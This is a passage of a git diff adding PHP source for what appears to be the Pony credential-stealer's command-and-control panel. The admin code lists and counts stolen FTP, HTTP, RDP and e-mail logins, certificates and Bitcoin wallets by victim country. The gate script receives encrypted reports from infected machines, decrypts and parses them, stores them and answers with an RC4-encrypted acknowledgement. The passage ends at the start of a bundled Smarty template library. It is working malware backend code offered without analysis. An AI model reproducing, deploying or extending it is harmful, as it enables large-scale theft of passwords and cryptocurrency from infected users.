HTTP list + + smarty_assign_continents($smarty); + + if ($admin_routine == 'clear_http') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE (url_type='http') OR (url_type='https')"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_http_list = $pony_db->get_multi_option('offset_http_list', 1); + $http_list = array(); + $pony_db->get_http_list(false, $http_list, 10, 'both', $offset_http_list[0]); + + foreach ($http_list as $http_item=>$http_value) + { + $http_list[$http_item]['module'] = $http_list[$http_item]['ftp_client']; + $http_list[$http_item]['ftp_client'] = module_name_to_client_name($http_list[$http_item]['ftp_client']); + if (!$pony_db->report_id_exists($http_list[$http_item]['report_id'])) + { + $http_list[$http_item]['report_id'] = ''; + } + } + + if (count($http_list)) + { + $first_id = $http_list[count($http_list)-1]['ftp_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_http_list', array($first_id)); + + apply_data_filters($smarty, false, 'http'); + smarty_assign_continents($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign('http_list', $http_list); + $smarty->display('http_list.tpl'); +} +else if ($admin_action == 'other') +{ + // --------------------------------------------------------------------------------------- + // Other + if ($admin_routine == 'clear_cert') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_CERT_TABLE); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_wallet') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_WALLET_TABLE); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_rdp') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE (url_type='rdp')"); + clear_floating_offsets($pony_db); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'clear_email') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_EMAIL_TABLE); + clear_floating_offsets($pony_db); + show_smarty_success($smarty); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_email_list = $pony_db->get_multi_option('offset_email_list', 1); + $email_list = array(); + $pony_db->get_email_list(false, $email_list, 10, '', $offset_email_list[0]); + + foreach ($email_list as $email_item=>$email_value) + { + $email_list[$email_item]['module'] = $email_list[$email_item]['email_client']; + $email_list[$email_item]['email_client'] = module_name_to_client_name($email_list[$email_item]['email_client']); + } + + if (count($email_list)) + { + $first_id = $email_list[count($email_list)-1]['email_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_email_list', array($first_id)); + $smarty->assign('email_list', $email_list); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->display("other.tpl"); +} +else if ($admin_action == 'stats') +{ + // --------------------------------------------------------------------------------------- + // Statistics + + // FTP clients statistics + $ftp_list = array(); + $ftp_clients_list = array(); + if ($pony_db->get_ftp_clients_stats($ftp_list) && count($ftp_list) > 0) + { + /* + // Show all FTP clients, even with 0 passwords grabbed + foreach ($global_module_list as $module_list_item) + { + // skip system info module + if ($module_list_item[0] == $global_module_list[0][0]) + continue; + if (array_key_exists($module_list_item[0], $ftp_list) === false) + { + $ftp_list[$module_list_item[0]] = '0'; + } + }*/ + + $sum = 0; + + foreach ($ftp_list as $count) + $sum += intval($count); + + foreach ($ftp_list as $ftp_client=>$count) + { + array_push($ftp_clients_list, array( + 'module'=>$ftp_client, + 'name'=>module_name_to_client_name($ftp_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // HTTP clients statistics + $http_list = array(); + $http_clients_list = array(); + if ($pony_db->get_http_clients_stats($http_list) && count($http_list) > 0) + { + $sum = 0; + + foreach ($http_list as $count) + $sum += intval($count); + + foreach ($http_list as $http_client=>$count) + { + array_push($http_clients_list, array( + 'module'=>$http_client, + 'name'=>module_name_to_client_name($http_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // E-mail clients statistics + $email_list = array(); + $email_clients_list = array(); + if ($pony_db->get_email_clients_stats($email_list) && count($email_list) > 0) + { + $sum = 0; + + foreach ($email_list as $count) + $sum += intval($count); + + foreach ($email_list as $email_client=>$count) + { + array_push($email_clients_list, array( + 'module'=>$email_client, + 'name'=>module_name_to_client_name($email_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // HTTP domains statistics + $http_domain_list = array(); + $http_domain_stats = array(); + if ($pony_db->get_http_domain_stats($http_domain_list) && count($http_domain_list)) + { + $sum = 0; + + foreach ($http_domain_list as $count) + $sum += intval($count); + + foreach ($http_domain_list as $domain=>$count) + { + array_push($http_domain_stats, array( + 'domain'=>$domain, + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // Bitcoin clients statistics + $bitcoin_list = array(); + $bitcoin_clients_list = array(); + if ($pony_db->get_bitcoin_clients_stats($bitcoin_list) && count($bitcoin_list) > 0) + { + $sum = 0; + + foreach ($bitcoin_list as $count) + $sum += intval($count); + + foreach ($bitcoin_list as $bitcoin_client=>$count) + { + array_push($bitcoin_clients_list, array( + 'module'=>$bitcoin_client, + 'name'=>module_name_to_client_name($bitcoin_client), + 'count'=>$count, + 'percentage'=>sprintf("%01.2f", $count/$sum*100) + )); + } + } + + // Country statistics + $country_list = array(); + $smarty_country_list = array(); + if ($pony_db->get_country_stats($country_list) && count($country_list) > 0) + { + // FTP/HTTP stats + if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) + $pony_db->get_all_country_stats($country_ftp_list); // ftp/ssh/rdp/http/https/... + else + $pony_db->get_ftp_country_stats($country_ftp_list); // ftp/ssh only + + if (is_array($country_ftp_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_ftp_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = $country_ftp_list[$country_name]['ftp_count']; + else + $country_list[$country_name]['ftp_count'] = 0; + } + + } + + // E-mail stats + if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) + { + $pony_db->get_email_country_stats($country_email_list); + if (is_array($country_email_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_email_list[$country_name]['email_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_email_list[$country_name]['email_count']; + } + } + + } + } + + // Certificates + $pony_db->get_cert_country_stats($country_cert_list); + if (is_array($country_cert_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_cert_list[$country_name]['cert_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_cert_list[$country_name]['cert_count']; + } + } + } + + // Wallets + $pony_db->get_wallet_country_stats($country_wallet_list); + if (is_array($country_wallet_list)) + { + foreach ($country_list as $country_name=>$country_value) + { + if (isset($country_wallet_list[$country_name]['wallet_count'])) + { + if (!isset($country_list[$country_name]['ftp_count'])) + $country_list[$country_name]['ftp_count'] = 0; + $country_list[$country_name]['ftp_count'] += $country_wallet_list[$country_name]['wallet_count']; + } + } + } + + $report_sum = 0; + $ftp_sum = 0; + + foreach ($country_list as $count_array) + $report_sum += intval($count_array['report_count']); + foreach ($country_list as $count_array) + if (isset($count_array['ftp_count'])) + $ftp_sum += intval($count_array['ftp_count']); + + $geo_ip = new GeoIP(); + foreach ($country_list as $country_code=>$count_array) + { + if ($report_sum != 0) + $report_percentage = sprintf("%01.2f", $count_array['report_count']/$report_sum*100); + else + $report_percentage = ''; + + if ($ftp_sum != 0) + $ftp_percentage = sprintf("%01.2f", intval(assign($count_array['ftp_count']))/$ftp_sum*100); + else + $ftp_percentage = ''; + + $country = ''; + $flag_url = ''; + $country_name = geoip_country_code_to_country_name($geo_ip, $country_code); + + array_push($smarty_country_list, array("country_name"=>$country_name, + "country_code"=>$country_code, + "ftp_count"=>intval(assign($count_array['ftp_count'])), "report_count"=>$count_array['report_count'], + "report_percentage"=>$report_percentage, + "ftp_percentage"=>$ftp_percentage)); + } + } + + $smarty->assign('http_clients_list', $http_clients_list); + $smarty->assign('bitcoin_clients_list', $bitcoin_clients_list); + $smarty->assign('ftp_clients_list', $ftp_clients_list); + $smarty->assign('email_clients_list', $email_clients_list); + $smarty->assign('country_list', $smarty_country_list); + $smarty->assign('http_domain_list', $http_domain_stats); + $smarty->display('stats.tpl'); +} +else if ($admin_action == 'ping') +{ + // --------------------------------------------------------------------------------------- + // Domain management + if (!$show_domains || !$pony_db->priv_can_delete()) + { + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else + { + if ($admin_routine == 'add') + { + if (trim(assign($_REQUEST['domain'])) != 'http://') + $pony_db->add_domain(trim(assign($_REQUEST['domain']))); + } else if ($admin_routine == 'delete' && nonempty($_REQUEST['domain_id'])) + { + $pony_db->delete_domain(trim(assign($_REQUEST['domain_id']))); + } + + $domain_list = array(); + $pony_db->get_domains($domain_list); + + $smarty->assign("domain_list", $domain_list); + $smarty->display('domains.tpl'); + } +} +else if ($admin_action == 'log') +{ + // --------------------------------------------------------------------------------------- + // Logs + if ($admin_routine == 'clear_log') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->delete_log_items(CPONY_LOG_TABLE); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $filter_ip = trim(assign($_REQUEST['filter_ip'])); + $filter_hwid = trim(assign($_REQUEST['filter_hwid'])); + $filter_notify = trim(assign($_REQUEST['filter_notify'])); + $next = trim(assign($_REQUEST['next'])); + if (strlen($next) == 0) + $next = '0'; + $next = intval($next); + if ($next > 0) + $next--; + + $max_results = 25; // log lines per page + + $total_items_count = $pony_db->get_log_row_count_filter($filter_ip, $filter_hwid, $filter_notify); + + $log_list = array(); + + $pony_db->get_log_list_report_filter($log_list, $next, $max_results, false, $filter_ip, $filter_hwid, $filter_notify); + + $filter = ''; + if (strlen($filter_ip)) + $filter .= '&filter_ip='.htmlspecialchars($filter_ip, ENT_QUOTES, 'cp1251'); + if (strlen($filter_hwid)) + $filter .= '&filter_hwid='.htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251'); + if (strlen($filter_notify)) + $filter .= '&filter_notify='.htmlspecialchars($filter_notify, ENT_QUOTES, 'cp1251'); + + SmartyPaginate::disconnect(); + SmartyPaginate::connect(); + SmartyPaginate::setLimit($max_results); + SmartyPaginate::setPageLimit(50); + SmartyPaginate::setURL($self_file."?token=".$token."&action=log".$filter); + SmartyPaginate::setTotal($total_items_count); + SmartyPaginate::setPrevText($lang['Previous']); + SmartyPaginate::setNextText($lang['Next']); + SmartyPaginate::assign($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("log_list", $log_list); + $smarty->display('log_list.tpl'); +} +else if ($admin_action == 'reports') +{ + // --------------------------------------------------------------------------------------- + // Reports + if ($admin_routine == 'clear_reports') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_REPORT_TABLE); + $pony_db->clear_table(CPONY_REPORT_DATA_TABLE); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + if ($admin_routine == 'delete') + { + if ($pony_db->priv_can_delete()) + { + $report_id = trim(assign($_REQUEST['report_id'])); + $pony_db->report_remove_errors($report_id); + $pony_db->report_remove($report_id); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'view_report' || $admin_routine == 'reparse' || $admin_routine == 'confirm_delete') + { + // View detailed report information + $log_id = trim(assign($_REQUEST['log_id'])); + $report_id = trim(assign($_REQUEST['report_id'])); + + $report_size = $pony_db->get_report_sum_linked("WHERE report_id='".mysql_real_escape_string($report_id)."'"); + + $smarty->assign('report_id', $report_id); + $smarty->assign('report_size', $report_size); + $smarty->assign('log_id', $log_id); + + $log_item_result = $pony_db->get_log_item($log_id); + $report_item_result = $pony_db->get_report_item($report_id); + + if ($pony_db->state && is_array($report_item_result)) + { + $report_item_result['report_source_ip_country_code'] = geo_ip_country_code($report_item_result['report_source_ip']); + $report_item_result['report_source_ip_country_name'] = geo_ip_country_name($report_item_result['report_source_ip']); + } + $smarty->assign('report', $report_item_result); + $smarty->assign('log_item', $log_item_result); + $smarty->display('view_report.tpl'); + + if ($pony_db->state && is_array($report_item_result)) + { + echo "

"; + + my_flush(); + + if ($admin_routine == 'reparse') + { + $ftp_count_before_reparse = $pony_db->get_report_linked_passwords_count($report_id); + $cert_count_before_reparse = $pony_db->get_table_row_count(CPONY_CERT_TABLE); + $wallet_count_before_reparse = $pony_db->get_table_row_count(CPONY_WALLET_TABLE); + $email_count_before_reparse = $pony_db->get_table_row_count(CPONY_EMAIL_TABLE); + + $report = new report_parser($pony_report_options); + $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); + if ($parse_result) + { + if ($enable_http_mode) + $url_list_array = array_merge($report->ftp_lines, $report->http_lines); + else + $url_list_array = $report->ftp_lines; + + $url_list_array = array_merge($url_list_array, $report->rdp_lines); + + if ($enable_email_mode) + { + $email_lines = $report->email_lines; + } else + { + $email_lines = null; + } + + $pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, + $report->report_hwid, $report->report_version_id, $url_list_array, null, $report->cert_lines, $report->wallet_lines, $email_lines); + if (!count($report->log->log_lines)) + { + $pony_db->report_remove_errors($report_id); + } + } + $smarty->assign('parse_result', $parse_result); + $smarty->assign('parse_new_ftp', $pony_db->get_report_linked_passwords_count($report_id)-$ftp_count_before_reparse + + $pony_db->get_table_row_count(CPONY_CERT_TABLE)-$cert_count_before_reparse + + $pony_db->get_table_row_count(CPONY_WALLET_TABLE)-$wallet_count_before_reparse + + $pony_db->get_table_row_count(CPONY_EMAIL_TABLE)-$email_count_before_reparse); + clear_floating_offsets($pony_db); + } + + // enable debug mode + global $global_verbose_log, $global_allow_all_ftp; + $old_global_verbose_log = $global_verbose_log; + $old_global_allow_all_ftp = $global_allow_all_ftp; + + $global_verbose_log = true; + $global_allow_all_ftp = true; + + $report = new report_parser($pony_report_options); + $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); + + $log = $report->log->log_lines; + $log_list = array(); + foreach ($log as $log_list_item) + { + list($log_line, $log_extra) = $log_list_item; + if (strpos($log_line, 'NOTIFY_NEW_HTTP:') !== false) + { + if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) + { + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + } + } else if (strpos($log_line, 'NOTIFY_NEW_EMAIL:') !== false) + { + if ($enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) + { + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + } + } else + + array_push($log_list, array('log_line'=>$log_line, 'log_extra'=>$log_extra)); + + } + + $smarty->assign('log_list', $log_list); + $smarty->display('debug_report.tpl'); + + echo ''; + + // revert debug mode change + $global_verbose_log = $old_global_verbose_log; + $global_allow_all_ftp = $old_global_allow_all_ftp; + } + } + + if ($admin_routine != 'view_report' && $admin_routine != 'reparse' && $admin_routine != 'confirm_delete') + { + $filter_string = trim(assign($_REQUEST['filter_string'])); + $filter_ip = trim(assign($_REQUEST['filter_ip'])); + $filter_hwid = trim(assign($_REQUEST['filter_hwid'])); + $filter_nonparsed = trim(assign($_REQUEST['filter_nonparsed'])); + $filter_has_passwords = trim(assign($_REQUEST['filter_has_passwords'])); + $next = trim(assign($_REQUEST['next'])); + if (strlen($next) == 0) + $next = '0'; + $next = intval($next); + + if ($next > 0) + $next--; + + $total_items_count = $pony_db->get_report_row_count_filter($filter_ip, $filter_hwid, $filter_nonparsed, $filter_has_passwords, $filter_string); + $max_results = 25; + + $report_list = array(); + $pony_db->get_report_list_filter($report_list, $next, $max_results, $filter_ip, $filter_hwid, $filter_nonparsed, $filter_has_passwords, $filter_string); + $geo_ip = new GeoIP(); + + foreach ($report_list as $report_list_item => $report_list_value) + { + if (isset($report_list[$report_list_item]['report_country']) && strlen($report_list[$report_list_item]['report_country'])) + { + $report_list[$report_list_item]['report_country_name'] = geoip_country_code_to_country_name($geo_ip, $report_list[$report_list_item]['report_country']); + } else + { + $report_list[$report_list_item]['report_country_name'] = ''; + } + } + + $filter = ''; + if (strlen($filter_string)) + $filter .= '&filter_string='.htmlspecialchars($filter_string, ENT_QUOTES, 'cp1251'); + if (strlen($filter_ip)) + $filter .= '&filter_ip='.htmlspecialchars($filter_ip, ENT_QUOTES, 'cp1251'); + if (strlen($filter_hwid)) + $filter .= '&filter_hwid='.htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251'); + + if (strlen($filter_nonparsed)) + $filter .= '&filter_nonparsed='.htmlspecialchars($filter_nonparsed, ENT_QUOTES, 'cp1251'); + elseif (strlen($filter_has_passwords)) + $filter .= '&filter_has_passwords='.htmlspecialchars($filter_has_passwords, ENT_QUOTES, 'cp1251'); + + SmartyPaginate::disconnect(); + SmartyPaginate::connect(); + SmartyPaginate::setURL($self_file."?token=".$token."&action=reports".$filter); + SmartyPaginate::setTotal($total_items_count); + SmartyPaginate::setLimit($max_results); + SmartyPaginate::setPageLimit(50); + + SmartyPaginate::setPrevText($lang['Previous']); + SmartyPaginate::setNextText($lang['Next']); + SmartyPaginate::assign($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("report_list", $report_list); + $smarty->display('report_list.tpl'); + } +} +else if ($admin_action == 'admin') +{ + // --------------------------------------------------------------------------------------- + // User management + + if ($admin_routine == 'rebuild_tables') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->drop_table(CPONY_FTP_TABLE) && $pony_db->drop_table(CPONY_REPORT_TABLE) && $pony_db->drop_table(CPONY_REPORT_DATA_TABLE) && + $pony_db->drop_table(CPONY_LOG_TABLE) && $pony_db->drop_table(CPONY_CERT_TABLE) && $pony_db->drop_table(CPONY_WALLET_TABLE) && $pony_db->drop_table(CPONY_EMAIL_TABLE) && + $pony_db->drop_table(CPONY_DOMAINLIST_TABLE) && + $pony_db->create_data_tables() + && $pony_db->state) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'optimize_tables') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->optimize_table(CPONY_FTP_TABLE) && $pony_db->optimize_table(CPONY_REPORT_TABLE) && $pony_db->optimize_table(CPONY_REPORT_DATA_TABLE) && $pony_db->optimize_table(CPONY_DOMAIN_TABLE) && + $pony_db->optimize_table(CPONY_LOG_TABLE) && $pony_db->optimize_table(CPONY_USER_TABLE) && $pony_db->optimize_table(CPONY_CERT_TABLE) && $pony_db->optimize_table(CPONY_WALLET_TABLE) && $pony_db->optimize_table(CPONY_EMAIL_TABLE) && + $pony_db->optimize_table(CPONY_DOMAINLIST_TABLE) + && $pony_db->state) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + clear_floating_offsets($pony_db); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'delete') + { + if ($pony_db->priv_is_admin()) + { + if ($pony_db->delete_user(trim(assign($_REQUEST['user_id'])))) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } elseif ($admin_routine == 'add') + { + $priv = trim(assign($_REQUEST['privileges'])); + $new_login = trim(assign($_REQUEST['new_login'])); + $new_password = trim(assign($_REQUEST['new_password'])); + + if ($priv != 'user_all') + $priv = 'user_view_only'; + + if ($pony_db->priv_is_admin()) + { + if ($pony_db->add_user($new_login, $new_password, $priv)) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'edit') + { + $user_id = trim(assign($_REQUEST['user_id'])); + $priv = trim(assign($_REQUEST['privileges'])); + $new_password = trim(assign($_REQUEST['new_password'])); + + if ($new_password == 'current_HASH_value') + $new_password = ''; + + if ($priv != 'user_all') + $priv = 'user_view_only'; + + if ($pony_db->priv_is_admin()) + { + if ($pony_db->update_user($user_id, $new_password, $priv)) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'update_server_settings') + { + // Server settings + if ($pony_db->priv_is_admin()) + { + $report_password = trim(assign($_REQUEST['report_password'])); + $sftp_user = trim(assign($_REQUEST['sftp_user'])); + if (!strlen($sftp_user)) $sftp_user = '0'; + $sftp_port = trim(assign($_REQUEST['sftp_port'])); + if (!strlen($sftp_port)) $sftp_port = ''; + $sftp_protocol = trim(assign($_REQUEST['sftp_protocol'])); + if (!strlen($sftp_protocol)) $sftp_protocol = ''; + + if ($pony_db->set_option('report_password', $report_password) && + $pony_db->set_option('sftp_user', $sftp_user) && + $pony_db->set_option('sftp_port', $sftp_port) && + $pony_db->set_option('sftp_protocol', $sftp_protocol) + ) + show_smarty_success($smarty); + else + show_smarty_error($smarty); + } else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } else if ($admin_routine == 'change_password') + { + $current_password = trim(assign($_REQUEST['current_password'])); + $new_password = trim(assign($_REQUEST['new_password'])); + $confirm_password = trim(assign($_REQUEST['confirm_password'])); + + if ($pony_db->check_password($current_password)) + { + if ($new_password == $confirm_password) + { + if (strlen($new_password)) + { + if ($pony_db->change_password($new_password)) + show_smarty_success($smarty); + else + show_smarty_error($smarty, '', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_EMPTY_PASSWORD', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_PASSWORD_MISMATCH', '?action=admin&routine=change_pass_form'); + } else + show_smarty_error($smarty, 'ERR_WRONG_PASSWORD', '?action=admin&routine=change_pass_form'); + } + + if ($admin_routine == 'edit_form') + { + $user_id = trim(assign($_REQUEST['user_id'])); + if ($pony_db->priv_is_admin()) + { + $user_data = $pony_db->get_user_data($user_id); + if (is_array($user_data) && $user_data && $pony_db->priv_is_user($user_data['privileges'])) + { + $smarty->assign('user_data', $user_data); + } + } + } + + $user_list = array(); + if ($pony_db->priv_is_admin()) + { + $pony_db->get_user_list($user_list); + $smarty->assign('report_password', $pony_db_report_password); + + $smarty->assign('sftp_user', assign($pony_report_options['sftp_user'])); + $smarty->assign('sftp_port', assign($pony_report_options['sftp_port'])); + $smarty->assign('sftp_protocol', assign($pony_report_options['sftp_protocol'])); + } + + $smarty->assign('user_list', $user_list); + $smarty->display('management.tpl'); +} +else if ($admin_action == 'help') +{ + // --------------------------------------------------------------------------------------- + // Help contents + + $module_names = array(); + + foreach ($global_module_list as $module) + { + array_push($module_names, $module[2]); + } + $smarty->assign('module_names', $module_names); + $smarty->display("help.tpl"); +} +else if (strlen($admin_action) == 0) +{ + // --------------------------------------------------------------------------------------- + // Home page + // Installation Check + if (!install_check(false, false)) + { + show_smarty_error($smarty, 'ERR_SRV_CONFIGURATION'); + echo '
'; + install_check(true, true); + echo '
'; + } + + // Latest logins + $latest_login_list = array(); + $pony_db->get_login_log($latest_login_list, 5); + + foreach ($latest_login_list as $login_key=>$login_item) + { + $latest_login_list[$login_key]['country_code'] = geo_ip_country_code($login_item['ip']); + $latest_login_list[$login_key]['country_name'] = geo_ip_country_name($login_item['ip']); + } + + $smarty->assign("login_list", $latest_login_list); + + // Domains + $domain_list = array(); + $pony_db->get_domains($domain_list); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign("domain_list", $domain_list); + + $smarty->display("home.tpl"); +} + +$smarty->display('footer.tpl'); +$smarty->unloadFilter('output', 'trimwhitespace'); +$smarty->display('stopwatch.tpl'); diff --git a/panel/config.php b/panel/config.php new file mode 100644 index 0000000..85a64ce --- /dev/null +++ b/panel/config.php @@ -0,0 +1,51 @@ +connect_db($mysql_host, $mysql_user, $mysql_pass, $mysql_database, false); + +// set report decryption password +$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD); +// set report parsing options +$pony_report_options = array('sftp_user' => $pony_db->get_option('sftp_user', '', '1'), + 'sftp_port' => $pony_db->get_option('sftp_port', '', '1'), + 'sftp_protocol' => $pony_db->get_option('sftp_protocol', '', '1')); + +// default values for unset config variables +if (!isset($enable_http_mode)) + $enable_http_mode = false; +if (!isset($enable_email_mode)) + $enable_email_mode = false; + +// client IP +$ip = get_client_ip(); + +// get report data +$real_length = intval($_SERVER['CONTENT_LENGTH']); +$received_report_data = file_get_contents('php://input'); + +// check if data was received in full +if ($real_length !== strlen($received_report_data)) + die(); + +$report_id = 0; + +// report data length should be inbetween 12 bytes and 900 Kb (default mysql query max. length) +$max_db_len_size = 1024*900; +if (strlen($received_report_data) > 12 && strlen($received_report_data) <= $max_db_len_size) +{ + if (report_parser::verify_report_file_header($received_report_data)) + { + $report_status_ok = false; + $ip_country = geo_ip_country_code($ip); + $report_new_encryption = false; + + // check if new random encryption is used + if (report_parser::verify_new_file_header($received_report_data)) + { + $report_new_encryption = true; + } + + if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) + { + // try to pre-decrypt report data + report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password); + } + + // add non parsed report + $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data); + + if ($report_id) + { + // there's new report available for parsing + $report = new report_parser($pony_report_options); + + // process report + ob_start(); // detect report processing noise + error_reporting(E_ALL); + $parse_result = $report->process_report($received_report_data, $pony_db_report_password); + $ob_data = trim(ob_get_contents()); + error_reporting(0); + ob_end_clean(); + + if ($parse_result) + { + $report_status_ok = true; + + if ($enable_http_mode) + $url_list_array = array_merge($report->ftp_lines, $report->http_lines); + else + $url_list_array = $report->ftp_lines; + + $url_list_array = array_merge($url_list_array, $report->rdp_lines); + + if ($enable_email_mode) + { + $email_lines = $report->email_lines; + } + else + { + $email_lines = null; + } + + $pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, + $report->report_hwid, $report->report_version_id, $url_list_array, $report->log->log_lines, $report->cert_lines, $report->wallet_lines, $email_lines); + + if (strlen($ob_data)) + { + $pony_db->add_log_line('ERR_EXTRA_NOISE: '.$ob_data, CLOG_SOURCE_REPORT, $report_id, $log_extra); + } + } else + { + // parse error, write logs + $log = $report->log->log_lines; + $pony_db->import_log_list($log, CLOG_SOURCE_REPORT, $report_id); + } + } else if ($pony_db->state) + { + $report_status_ok = true; + $pony_db->add_log_line('NOTIFY_GATE_DUPLICATE_REPORT', CLOG_SOURCE_GATE, null, $ip); + } + + // check report parsing state and return success status for the client + if ($report_status_ok) + { + $response_msg = 'STATUS-IMPORT-OK'; + if ($report_new_encryption) + $response_msg = rc4_rand_crypt($response_msg); + echo $response_msg; + } + } +} else +{ + if (strlen($received_report_data) == 0) + { + // received empty report + // return 404 + $pony_db->add_log_line('NOTIFY_GATE_RECEIVED_NULL_REPORT', CLOG_SOURCE_GATE, null, $ip); + header('HTTP/1.0 404 Not Found'); + header('Status: 404 Not Found'); + $_SERVER['REDIRECT_STATUS'] = 404; + if (file_exists('404.html')) + echo file_get_contents('404.html'); + die(); + } + else if (strlen($received_report_data) < 12 && strlen($received_report_data) > 1) + $pony_db->add_log_line('ERR_GATE_REPORT_WRONG_SIZE: '.strlen($received_report_data), CLOG_SOURCE_GATE, null, $ip); + else if (strlen($received_report_data) > $max_db_len_size) + $pony_db->add_log_line('ERR_GATE_REPORT_BIG_SIZE: '.strlen($received_report_data), CLOG_SOURCE_GATE, null, $ip); +} + diff --git a/panel/includes/Smarty-3.1.15/libs/Smarty.class.php b/panel/includes/Smarty-3.1.15/libs/Smarty.class.php new file mode 100644 index 0000000..732b2df --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/Smarty.class.php @@ -0,0 +1,1575 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + * @version 3.1.15 + */ + +/** + * define shorthand directory separator constant + */ +if (!defined('DS')) { + define('DS', DIRECTORY_SEPARATOR); +} + +/** + * set SMARTY_DIR to absolute path to Smarty library files. + * Sets SMARTY_DIR only if user application has not already defined it. + */ +if (!defined('SMARTY_DIR')) { + define('SMARTY_DIR', dirname(__FILE__) . DS); +} + +/** + * set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins. + * Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it. + */ +if (!defined('SMARTY_SYSPLUGINS_DIR')) { + define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DS); +} +if (!defined('SMARTY_PLUGINS_DIR')) { + define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DS); +} +if (!defined('SMARTY_MBSTRING')) { + define('SMARTY_MBSTRING', function_exists('mb_split')); +} +if (!defined('SMARTY_RESOURCE_CHAR_SET')) { + // UTF-8 can only be done properly when mbstring is available! + /** + * @deprecated in favor of Smarty::$_CHARSET + */ + define('SMARTY_RESOURCE_CHAR_SET', SMARTY_MBSTRING 